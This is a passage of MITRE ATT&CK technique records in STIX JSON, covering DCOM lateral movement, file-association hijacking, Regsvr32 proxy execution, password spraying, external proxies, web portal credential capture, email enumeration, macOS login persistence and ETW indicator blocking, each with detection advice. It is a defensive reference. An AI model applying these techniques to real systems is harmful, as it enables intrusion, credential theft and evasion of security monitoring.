                    "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1"
                },
                {
                    "source_name": "Microsoft Process Wide Com Keys",
                    "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx"
                },
                {
                    "source_name": "MSDN WMI",
                    "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx"
                },
                {
                    "source_name": "Enigma DCOM Lateral Movement Jan 2017",
                    "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/"
                },
                {
                    "source_name": "Enigma MMC20 COM Jan 2017",
                    "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"
                },
                {
                    "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017",
                    "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/"
                },
                {
                    "source_name": "Enigma Excel DCOM Sept 2017",
                    "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/"
                },
                {
                    "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017",
                    "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.",
                    "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:20:51.024Z",
            "name": "Distributed Component Object Model",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Module: Module Load",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--68c96494-1a50-403e-8844-69a6af278c68",
            "created": "2017-05-31T21:30:42.222Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1042",
                    "external_id": "T1042"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/556.html",
                    "external_id": "CAPEC-556"
                },
                {
                    "source_name": "Microsoft Change Default Programs",
                    "description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.",
                    "url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs"
                },
                {
                    "source_name": "Microsoft File Handlers",
                    "description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/bb166549.aspx"
                },
                {
                    "source_name": "Microsoft Assoc Oct 2017",
                    "description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.",
                    "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc"
                },
                {
                    "source_name": "TrendMicro TROJ-FAKEAV OCT 2012",
                    "description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:39.735Z",
            "name": "Change Default File Association",
            "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command</code>. For example:\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Stefan Kanthak",
                "Travis Smith, Tripwire"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. \n\nUser file association preferences are stored under <code> [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a",
            "created": "2017-05-31T21:31:26.966Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1117",
                    "external_id": "T1117"
                },
                {
                    "source_name": "Microsoft Regsvr32",
                    "description": "Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.",
                    "url": "https://support.microsoft.com/en-us/kb/249873"
                },
                {
                    "source_name": "LOLBAS Regsvr32",
                    "description": "LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/"
                },
                {
                    "source_name": "Carbon Black Squiblydoo Apr 2016",
                    "description": "Nolen, R. et al.. (2016, April 28). Threat Advisory: \u201cSquiblydoo\u201d Continues Trend of Attackers Using Native OS Tools to \u201cLive off the Land\u201d. Retrieved April 9, 2018.",
                    "url": "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/"
                },
                {
                    "source_name": "FireEye Regsvr32 Targeting Mongolian Gov",
                    "description": "Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:39.905Z",
            "name": "Regsvr32",
            "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Casey Smith"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.3"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c",
            "created": "2020-02-11T18:39:25.122Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1110/003",
                    "external_id": "T1110.003"
                },
                {
                    "source_name": "Trimarc Detecting Password Spraying",
                    "description": "Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019.",
                    "url": "https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing"
                },
                {
                    "source_name": "BlackHillsInfosec Password Spraying",
                    "description": "Thyer, J. (2015, October 30). Password Spraying & Other Fun with RPCCLIENT. Retrieved April 25, 2017.",
                    "url": "http://www.blackhillsinfosec.com/?p=4645"
                },
                {
                    "source_name": "US-CERT TA18-068A 2018",
                    "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:38.420Z",
            "name": "Password Spraying",
            "description": "Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Microsoft Threat Intelligence Center (MSTIC)",
                "John Strand"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nConsider the following event IDs:(Citation: Trimarc Detecting Password Spraying)\n\n* Domain Controllers: \"Audit Logon\" (Success & Failure) for event ID 4625.\n* Domain Controllers: \"Audit Kerberos Authentication Service\" (Success & Failure) for event ID 4771.\n* All systems: \"Audit Logon\" (Success & Failure) for event ID 4648.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Containers",
                "IaaS",
                "Identity Provider",
                "Linux",
                "Network Devices",
                "Office Suite",
                "SaaS",
                "Windows",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "1.7",
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Application Log: Application Log Content"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3",
            "created": "2020-03-14T23:12:18.466Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1090/002",
                    "external_id": "T1090.002"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                },
                {
                    "source_name": "Trend Micro APT Attack Tools",
                    "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:38.556Z",
            "name": "External Proxy",
            "description": "Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.\n\nExternal connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows, such as a client sending significantly more data than it receives from an external server. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "ESXi"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e",
            "created": "2020-02-11T18:59:50.058Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1056/003",
                    "external_id": "T1056.003"
                },
                {
                    "source_name": "Volexity Virtual Private Keylogging",
                    "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.",
                    "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:38.649Z",
            "name": "Web Portal Capture",
            "description": "Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "File monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262",
            "created": "2020-10-02T14:56:24.866Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1589/002",
                    "external_id": "T1589.002"
                },
                {
                    "source_name": "Azure Active Directory Reconnaisance",
                    "description": "Dr. Nestori Syynimaa. (2020, June 13). Just looking: Azure Active Directory reconnaissance as an outsider. Retrieved May 27, 2022.",
                    "url": "https://o365blog.com/post/just-looking/"
                },
                {
                    "source_name": "GitHub Office 365 User Enumeration",
                    "description": "gremwell. (2020, March 24). Office 365 User Enumeration. Retrieved May 27, 2022.",
                    "url": "https://github.com/gremwell/o365enum"
                },
                {
                    "source_name": "GrimBlog UsernameEnum",
                    "description": "GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021.",
                    "url": "https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/"
                },
                {
                    "source_name": "HackersArise Email",
                    "description": "Hackers Arise. (n.d.). Email Scraping and Maltego. Retrieved October 20, 2020.",
                    "url": "https://www.hackers-arise.com/email-scraping-and-maltego"
                },
                {
                    "source_name": "CNET Leaks",
                    "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.",
                    "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/"
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            "modified": "2025-04-15T22:26:21.953Z",
            "name": "Email Addresses",
            "description": "Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.\n\nAdversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Email addresses could also be enumerated via more active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) For example, adversaries may be able to enumerate email addresses in Office 365 environments by querying a variety of publicly available API endpoints, such as autodiscover and GetCredentialType.(Citation: GitHub Office 365 User Enumeration)(Citation: Azure Active Directory Reconnaisance)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Brute Force](https://attack.mitre.org/techniques/T1110) via [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
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                    "phase_name": "reconnaissance"
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            "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of probing for email addresses and/or usernames, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1164",
                    "external_id": "T1164"
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                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
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            "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist</code>. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
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            "x_mitre_detection": "Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df",
            "created": "2017-05-31T21:30:47.384Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1054",
                    "external_id": "T1054"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/571.html",
                    "external_id": "CAPEC-571"
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                {
                    "source_name": "Microsoft Lamin Sept 2017",
                    "description": "Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.",
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A"
                },
                {
                    "source_name": "Microsoft About Event Tracing 2018",
                    "description": "Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019.",
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events"
                },
                {
                    "source_name": "Medium Event Tracing Tampering 2018",
                    "description": "Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.",
                    "url": "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63"
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            "modified": "2025-04-25T15:15:40.534Z",
            "name": "Indicator Blocking",
            "description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ",
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            "x_mitre_detection": "Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\AUTOLOGGER_NAME\\{PROVIDER_GUID}</code>\n\n",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--6a5d222a-a7e0-4656-b110-782c33098289",
            "created": "2023-09-07T21:48:39.516Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1598/004",
                    "external_id": "T1598.004"
                },
                {
                    "source_name": "Avertium callback phishing",
                    "description": "Avertium. (n.d.). EVERYTHING YOU NEED TO KNOW ABOUT CALLBACK PHISHING. Retrieved February 2, 2023.",
